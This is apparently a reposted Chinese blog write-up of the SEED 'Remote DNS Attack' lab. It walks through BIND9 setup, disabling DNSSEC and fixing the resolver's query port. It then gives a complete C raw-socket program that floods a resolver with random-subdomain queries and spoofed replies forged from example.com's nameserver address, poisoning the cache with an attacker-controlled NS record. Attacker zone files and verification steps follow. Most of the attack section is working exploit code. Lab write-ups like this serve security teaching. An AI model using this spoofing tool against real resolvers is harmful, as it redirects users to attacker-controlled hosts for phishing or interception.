Seed lab:Remote DNS Attack

来源:互联网 发布:mac上的qq截图快捷键 编辑:程序博客网 时间:2024/05/16 17:03

实验环境:

服务器ip:192.168.86.139

Victim ip: 192.168.86.137

Attacker ip:192.168.86.138

准备工作:

  1. 安装bind9服务器:

    • 在bind9官网 下载bind9,在此下载的是bind9.10.4

    • 解压文件tar -xzvf bin9.10.4.tar.gz

    • cd bin9.10.4,并./configure –prefix=/usr/local/bind-9.9.0 –enable-threads –disable-openssl-version-check –sysconfdir=/etc –with-libtool –without-openssl

    • 由于没有安装openssl,所以在最后的选项中加入–without-openssl

    • make & make install

    • ln –sv /usr/local/bind-9.9.0 /usr/local/bind 软连接

    • 在服务器中开启 sudo rndc flush // 刷新cache

    • sudo rndc dumpdb -cache // 将cache dump到dump.db

  2. 开启bind9服务:sudo service bind9 start

  3. 用户机器配置:

    • vi /etc/resolv.conf,修改nameserve 192.168.86.138(DNS服务器地址)

    • 在ubuntu中,/etc/resolv.conf可能被DHCP客户端更改,所以需要将DHCP关闭,具体做法如下:settings->network->options->IPV4 Settings,设置method为Automatically DHCP addresses only, 并在DNS servers处填写为DNS服务器地址

  4. 查看用户机是否将dns服务器配置成功:打开wireshark,并在该机器中ping www.google.com,在wireshark的筛选规则中填写dns,查看抓包情况:

实验步骤:

实验一:Kaminsky攻击

攻击准备:

  • 确认攻击机器的连接方式是NAT

  • 由于DNS的服务器端口可能不确定,在此将服DNS服务器的端口设置为33333,具体设置如下:vi /etc/bind/named.conf.options,添加query-source port 33333;

  • 将DNS服务器的DNSSEC策略关闭,具体设置如下:vi /etc/bind/named.conf.options,找到dnssec-validation auto;,将其注释掉,并添加dnssec-enable no;

  • 刷新dns cache,并从其dns服务:
    sudo rndc flush
    sudo service bind9 restart

实验原理:

(1)攻击者向被攻击的本地缓存DNS发送一个域名的DNS 查询请求,该查询请求中的域名主机使用随机序列和目标域名的组合。
例如www123456.test.com,其中ns2.test.com为目标域名,www123456是随机生成的。很显然,这个查询的域名主机记录在test.com的权威DNS中是不存在的。正常test.com的权威DNS要返回NXDOMIAN(代表域名不存在)。换句话说就是本地缓存DNS中肯定没有www123456.test.com的缓存记录,本地缓存DNS接收到这个域名查询请求后肯定是要出去迭代请求的。

(2)攻击者伪造test.com的权威DNS应答数据包中,应答资源记录部分与正确应答包中部分是与正常结果一样的,比如test.com的DNS的IP地址、UDP端口号、应答结果是NXDOMAIN。
但是,在应答报文中的授权资源记录部分,攻击者伪造一个test.com的NS记录为ns2.test.com,且该记录对应的A记录IP是2.2.2.2(可能是一个钓鱼网站的IP)。那么该资源记录信息将也被写入本地缓存DNS的Cache 中,在Cache 保持时间内,对test.com名字服务器所管辖的所有域名的查询都将被发送到攻击者自己控制的IP(2.2.2.2)中。

具体攻击过程:

找到example.com域名服务器的ip地址

在攻击者机器上ping www.example.com,用wireshark抓包有如下这个数据包,该数据包是从199.43.133.53的ip地址回复的example.com包的查询。所以需要伪造的ip地址为199.43.133.53。

构造回复包

在此主要介绍构造DNS域的包的过程。

DNS包的结果如上图所示:在此介绍构造每一个域的过程。

DNS头有16个字节,分别是标识ID,标志,问题数,资源数,授权资源记录数,额外资源记录数,结果如下所示:

   struct dnsheader {    unsigned short int query_id;    unsigned short int flags;    unsigned short int QDCOUNT;    unsigned short int ANCOUNT;    unsigned short int NSCOUNT;    unsigned short int ARCOUNT;};
  • 其中标志ID为DNS报文的ID,对于相关联的请求报文和应答报文,这个字段是相同的,由此可以区分DNS应答报文是哪个请求报文的响应。由于不知道dns请求199.43.133.53时的ID号,所以在此将id号从3000到3100,每个id号都构造一个包。’

  • 对于flags来说,根据wireshark抓包可知,大小为0x8400

  • 随后的8个字节,由wireshark抓包可得,这四个域都为1。

  • 随后就是将查询问题的内容给加进去,由于源程序给了构造查询问题的步骤,所以,现在直接将其构造的内容加进去即可。

  • Dns查询域名的结果的构造,如下图所示,该域主要是回答了www.example.com的ip地址和以及类型和类,该出类型为A,表示是由域名获得该域名的IP地址,类为IN,表示表示为Internet名字空间。所以在构造该域的时候可以将ip地址改了,我在该实验中将ip地址改为了1.2.3.4

  • 接下来是要构造域名服务器,也是要构造的重点,由wireshark抓包得:

该域主要有Name,Type,Class,TTL,Data length和NS构成,其中Type为NS表示为Name Server,即域名服务器,TTL为该记录的有效时间, Name表示主域名。所以我在此构造将Name Server改为了ns.dnslabattacker.net。

  • 接下来就是一些额外的信息,由wireshark抓包如下图所示:

写具体的程序进行攻击

 // ----udp.c------// This sample program must be run by root lol! // // The program is to spoofing tons of different queries to the victim.// Use wireshark to study the packets. However, it is not enough for // the lab, please finish the response packet and complete the task.//// Compile command:// gcc -lpcap udp.c -o udp////     #include <unistd.h>    #include <stdio.h>    #include <sys/socket.h>    #include <netinet/ip.h>    #include <netinet/udp.h>    #include <fcntl.h>    #include <string.h>    #include <errno.h>    #include <stdlib.h>#include <libnet.h>    // The packet length    #define PCKT_LEN 8192    #define FLAG_R 0x8400    #define FLAG_Q 0x0100    // Can create separate header file (.h) for all headers' structure    // The IP header's structure    struct ipheader {     unsigned char      iph_ihl:4, iph_ver:4;     unsigned char      iph_tos;     unsigned short int iph_len;     unsigned short int iph_ident; //    unsigned char      iph_flag;     unsigned short int iph_offset;     unsigned char      iph_ttl;     unsigned char      iph_protocol;     unsigned short int iph_chksum;     unsigned int       iph_sourceip;     unsigned int       iph_destip;    };    // UDP header's structure    struct udpheader {     unsigned short int udph_srcport;     unsigned short int udph_destport;     unsigned short int udph_len;     unsigned short int udph_chksum;    };    struct dnsheader {    unsigned short int query_id;    unsigned short int flags;    unsigned short int QDCOUNT;    unsigned short int ANCOUNT;    unsigned short int NSCOUNT;    unsigned short int ARCOUNT;};// This structure just for convinience in the DNS packet, because such 4 byte data often appears.     struct dataEnd{    unsigned short int  type;    unsigned short int  class;};    // total udp header length: 8 bytes (=64 bits)// structure to hold the answer end sectionstruct ansEnd{    //char* name;    unsigned short int type;    //char* type;    unsigned short int class;    //char* class;    //unsigned int ttl;    unsigned short int ttl_l;    unsigned short int ttl_h;    unsigned short int datalen;};// structure to hold the authorative nameserver end sectionstruct nsEnd{    //char* name;    unsigned short int type;    unsigned short int class;    //unsigned int ttl;    unsigned short int ttl_l;    unsigned short int ttl_h;    unsigned short int datalen;    //unsigned int ns;};unsigned int checksum(uint16_t *usBuff, int isize){    unsigned int cksum=0;    for(;isize>1;isize-=2){    cksum+=*usBuff++;       }    if(isize==1){     cksum+=*(uint16_t *)usBuff;        }    return (cksum);}// calculate udp checksumuint16_t check_udp_sum(uint8_t *buffer, int len){        unsigned long sum=0;    struct ipheader *tempI=(struct ipheader *)(buffer);    struct udpheader *tempH=(struct udpheader *)(buffer+sizeof(struct ipheader));    struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct udpheader));    tempH->udph_chksum=0;    sum=checksum( (uint16_t *)   &(tempI->iph_sourceip) ,8 );    sum+=checksum((uint16_t *) tempH,len);    sum+=ntohs(IPPROTO_UDP+len);    sum=(sum>>16)+(sum & 0x0000ffff);    sum+=(sum>>16);    return (uint16_t)(~sum);}    // Function for checksum calculation. From the RFC,    // the checksum algorithm is:    //  "The checksum field is the 16 bit one's complement of the one's    //  complement sum of all 16 bit words in the header.  For purposes of    //  computing the checksum, the value of the checksum field is zero."    unsigned short csum(unsigned short *buf, int nwords)    {       //            unsigned long sum;            for(sum=0; nwords>0; nwords--)                    sum += *buf++;            sum = (sum >> 16) + (sum &0xffff);            sum += (sum >> 16);            return (unsigned short)(~sum);    }//构造的回复包int response(char* request_url, char* src_addr, char* dest_addr){// socket号    int sd;// 包的buffer    char buffer[PCKT_LEN];// 将buffer初始化为0    memset(buffer, 0, PCKT_LEN);    // 初始化包头地址    struct ipheader *ip = (struct ipheader *) buffer;    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));    struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));// data内容的指针      char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));//dns的flag位///////////////////////////构造dns包////////////////////////////////////    dns->flags=htons(FLAG_R);    dns->QDCOUNT=htons(1);    dns->ANCOUNT=htons(1);    dns->NSCOUNT=htons(1);        dns->ARCOUNT = htons(1);//查询的内容    strcpy(data,request_url);    int length= strlen(data)+1;    struct dataEnd * end=(struct dataEnd *)(data+length);    end->type=htons(1);    end->class=htons(1);    //回复的内容 char *ans=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length);    strcpy(ans,request_url);    int anslength= strlen(ans)+1;    struct ansEnd * ansend=(struct ansEnd *)(ans+anslength);    ansend->type = htons(1);    ansend->class=htons(1);    ansend->ttl_l=htons(0x00);    ansend->ttl_h=htons(0xFFFF);  //tll,即有效的时间    ansend->datalen=htons(4);    //回复的内容的长度    char *ansaddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength);    strcpy(ansaddr,"\1\2\3\4");    int addrlen = strlen(ansaddr);//ns域名服务器    char *ns =(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen);    strcpy(ns,"\7example\3com");    int nslength= strlen(ns)+1;    struct nsEnd * nsend=(struct nsEnd *)(ns+nslength);    nsend->type=htons(2);    nsend->class=htons(1);    nsend->ttl_l=htons(0x00);    nsend->ttl_h=htons(0xFFFF);   //tll,即有效的时间    //数据的长度,为nsname的长度+1    nsend->datalen=htons(23);      char *nsname=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength);    //伪造的域名服务器    strcpy(nsname,"\2ns\16dnslabattacker\3net");    int nsnamelen = strlen(nsname)+1;//额外的信息 char *ar=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen);    strcpy(ar,"\2ns\16dnslabattacker\3net");    int arlength = strlen(ar)+1;    struct ansEnd* arend = (struct ansEnd*)(ar + arlength);    arend->type = htons(1);    arend->class=htons(1);    arend->ttl_l=htons(0x00);    arend->ttl_h=htons(0xFFFF);    arend->datalen=htons(4);    char *araddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen+arlength+sizeof(struct ansEnd));    strcpy(araddr,"\1\2\3\4");    int araddrlen = strlen(araddr);/////////////////////dns包的构造到此完毕///////////////////////////////    //构造ip包    struct sockaddr_in sin, din;    int one = 1;    const int *val = &one;    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);if(sd<0 ) printf("socket error\n");    sin.sin_family = AF_INET;    din.sin_family = AF_INET;    //端口号    sin.sin_port = htons(33333);    din.sin_port = htons(53);    //IP地址    sin.sin_addr.s_addr = inet_addr(src_addr);     din.sin_addr.s_addr = inet_addr("199.43.133.53"); //example.com的域名服务器的地址,可通过抓包获得    ip->iph_ihl = 5;    ip->iph_ver = 4;    ip->iph_tos = 0;   unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // length + dataEnd_size == UDP_payload_size     ip->iph_len=htons(packetLength);    ip->iph_ident = htons(rand());    ip->iph_ttl = 110;     ip->iph_protocol = 17; // UDP    //该地值需要抓包确定    ip->iph_sourceip = inet_addr("199.43.133.53");    // The destination IP address    ip->iph_destip = inet_addr(src_addr);    // Fabricate the UDP header. Source port number, redundant    udp->udph_srcport = htons(53);  // source port number, I make them random... remember the lower number may be reserved    // Destination port number    udp->udph_destport = htons(33333);   udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // udp_header_size + udp_payload_size    // Calculate the checksum for integrity//    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));    // Inform the kernel do not fill up the packet structure. we will build our own... if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 ){    printf("error\n");        exit(-1);}int count = 0;int trans_id = 3000;while(count < 100){    // This is to generate different query in xxxxx.example.edu/*    int charnumber;    charnumber=1+rand()%5;    *(data+charnumber)+=1;*/    //dns->query_id=rand();    dns->query_id=trans_id+count;    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet    // send the packet out.        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)        printf("packet send error %d which means %s\n",errno,strerror(errno));    count++;    }close(sd);return 0;}int main(int argc, char *argv[]){// This is to check the argc number    if(argc != 3){        printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP  dest_IP  \n");        exit(-1);    }// socket descriptor    int sd;// buffer to hold the packet    char buffer[PCKT_LEN];// set the buffer to 0 for all bytes    memset(buffer, 0, PCKT_LEN);    // Our own headers' structures    struct ipheader *ip = (struct ipheader *) buffer;    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));    struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));// data is the pointer points to the first byte of the dns payload      char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));////////////////////////////////////////////////////////////////////////// dns fields(UDP payload field)// relate to the lab, you can change them. begin://////////////////////////////////////////////////////////////////////////The flag you need to set    dns->flags=htons(FLAG_Q);//only 1 query, so the count should be one.    dns->QDCOUNT=htons(1);//query string    strcpy(data,"\5abcde\7example\3com");    int length= strlen(data)+1;//this is for convinience to get the struct type write the 4bytes in a more organized way.    struct dataEnd * end=(struct dataEnd *)(data+length);    end->type=htons(1);    end->class=htons(1);///////////////////////////////////////////////////////////////////////// DNS format, relate to the lab, you need to change them, end/////////////////////////////////////////////////////////////////////////*************************************************************************************Construction of the packet is done. now focus on how to do the settings and send the packet we have composed out***************************************************************************************/    // Source and destination addresses: IP and port    struct sockaddr_in sin, din;    int one = 1;    const int *val = &one;     dns->query_id=rand(); // transaction ID for the query packet, use random #    // Create a raw socket with UDP protocol    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);if(sd<0 ) // if socket fails to be created printf("socket error\n");    // The source is redundant, may be used later if needed    // The address family    sin.sin_family = AF_INET;    din.sin_family = AF_INET;    // Port numbers    sin.sin_port = htons(33333);    din.sin_port = htons(53);    // IP addresses    sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program    din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program    // Fabricate the IP header or we can use the    // standard header structures but assign our own values.    ip->iph_ihl = 5;    ip->iph_ver = 4;    ip->iph_tos = 0; // Low delay    unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size     ip->iph_len=htons(packetLength);    ip->iph_ident = htons(rand()); // we give a random number for the identification#    ip->iph_ttl = 110; // hops    ip->iph_protocol = 17; // UDP    // Source IP address, can use spoofed address here!!!    ip->iph_sourceip = inet_addr(argv[1]);    // The destination IP address    ip->iph_destip = inet_addr(argv[2]);    // Fabricate the UDP header. Source port number, redundant    udp->udph_srcport = htons(33333);  // source port number, I make them random... remember the lower number may be reserved    // Destination port number    udp->udph_destport = htons(53);    udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // udp_header_size + udp_payload_size    // Calculate the checksum for integrity//    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));/*******************************************************************************8Tipsthe checksum is quite important to pass the checking integrity. You need to study the algorithem and what part should be taken into the calculation.!!!!!If you change anything related to the calculation of the checksum, you need to re-calculate it or the packet will be dropped.!!!!!Here things became easier since I wrote the checksum function for you. You don't needto spend your time writing the right checksum function.Just for knowledge purpose,remember the seconed parameterfor UDP checksum:ipheader_size + udpheader_size + udpData_size  for IP checksum: ipheader_size + udpheader_size*********************************************************************************/    // Inform the kernel do not fill up the packet structure. we will build our own... if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 ){    printf("error\n");        exit(-1);}while(1){    // This is to generate different query in xxxxx.example.edu    int charnumber;    charnumber=1+rand()%5;    *(data+charnumber)+=1;    udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet    // send the packet out.        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)        printf("packet send error %d which means %s\n",errno,strerror(errno));    sleep(0.9);    response(data, argv[2], argv[1]);    }close(sd);return 0;}

在Attacker机器中构造查询信息,随机生成xxxx.example.com的域名,其中xxxx是随机生成的,该目的就是生成不存在的域名,然后while循环,向域名服务器发送查询xxxx.example.com域名的请求,紧接着发送伪造的回复的包。

sudo rndc dumpdb -cache之后查看/etc/bind/dump.db文件的结果如下:

实验二:结果的确认

使用假域名
* 配置攻击者机器为dns服务器,配置过程和上一个dns服务器过程一致。

  • 在Apollo服务器上配置ns.dnslabattacker.net的解析。

具体配置如下:
首先在/etc/bind/name.conf.default-zones中配置zone信息:

zone “ns.dnslabattacker.net”{    type master:    file “/etc/bind/db.attacker;};

表明具体的解析文件在/etc/bind/db.attacker中,该文件具体内容如下:

;; BIND data file for local loopback interface;$TTL    604800@    IN    SOA    localhost. root.localhost. (                  2        ; Serial             604800        ; Refresh              86400        ; Retry            2419200        ; Expire             604800 )    ; Negative Cache TTL;@    IN    NS    ns.dnslabattacker.net.@    IN    A    192.168.86.138@    IN    AAAA    ::1

其中192.168.86.138为攻击者机器的地址。
给db.attacker文件加权限chmod 644 db.attacker

  • 在攻击者机器上配置example.com域名的解析,首先在/etc/bind/name/conf中添加如下信息:
zone “example.com” {    type master;    file “/etc/bind/example.com.db;};

然后再创建/etc/bind/example.com.db文件,内容如下

$TTL 3D@    IN    SOA    ns.example.com. admin.example.com. (        2008111001        8H        2H        4W        1D)@    IN    NS    ns.dnslabattacker.net.@    IN    MX    10 mail.example.com.www    IN    A    1.2.3.4mail    IN    A    1.2.3.2*.example.com.    IN    A 1.2.3.100

给example.com.db文件加权限,chmod 644 example.com.db。

  • 在victim机器中dig www.example.com,结果如下,解析了exmaple.com的ip地址为1.2.3.4,域名服务器为ns.dnslabattacker.net

在victim中ping www.example.com,结果如下:

其访问的是1.2.3.4的ip地址。

0 0
原创粉丝点击